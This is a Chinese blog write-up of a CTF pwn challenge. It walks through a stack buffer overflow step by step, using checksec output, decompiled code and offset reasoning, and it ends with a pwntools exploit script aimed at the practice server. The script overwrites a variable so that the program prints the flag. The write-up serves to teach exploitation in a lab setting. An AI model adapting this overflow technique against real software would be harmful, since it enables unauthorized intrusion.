cgctf when_did_you_born 栈溢出简单利用

原创

dittozzz 于 2018-12-22 15:24:55 发布 2334 收藏

分类专栏： pwn 文章标签： pwn writeup

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_43394612/article/details/85208393

版权


pwn 专栏收录该内容

23 篇文章 4 订阅

订阅专栏

拿到题目，先checksec下，看下防护措施：

```
wxy@ubuntu:~/Desktop$ checksec when_did_you_born
[*] '/home/wxy/Desktop/when_did_you_born'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

没有开启PIE。

直接放到IDA里看下：

```
puts("What's Your Birth?");
__isoc99_scanf("%d", &overflowme);
while ( getchar() != 10 )
  ;
if ( overflowme == 1926 )
{
  puts("You Cannot Born In 1926!");
  result = 0LL;
}
else
{
  puts("What's Your Name?");
  gets(&v4);
  printf("You Are Born In %d\n", overflowme);
  if ( overflowme == 1926 )
  {
    puts("You Shall Have Flag.");
    system("cat flag");
  }
  else
  {
    puts("You Are Naive.");
    puts("You Speed One Second Here.");
  }
```

https://blog.csdn.net/qq_43394612

有些变量名为了方便看，我已经修改过了。图中箭头处即是溢出点。

分析下
第一次输入overflowme，如果等于1926就会退出，但是想要拿到flag，就需要overflowme的值为1926，那就很明显了，第一次输入的时候随便输个数只要不是1926就行，第二次输入v4 这个数组的时候，利用缓冲区溢出，将overflowme这个变量的值给覆盖成1926就行了，将1926转化为16进制为0x786。
通过IDA看下数组和overflow这个变量之间的距离：

```
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned int overflowme; // [rsp+8h] [rbp-18h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
```

0x20-0x18，得到距离是8个字节。只要填充8个字节的垃圾数据，再将其后4个字节的空间覆盖为0x00000786就可以了。此时栈空间如下图：（注意little-endian）

\x86
\x07
\x00
\x00

写下exp：

```
from pwn import*

#a=process('./when_did_you_born')

a=remote('111.198.29.45',"30330")

a.recvuntil("What's Your Birth?")

a.sendline("a")

a.recvuntil("?")

a.send("A"*8+p32(0x00000786))

a.interactive()
```

https://blog.csdn.net/qq_43394612

运行该脚本即可拿到shell。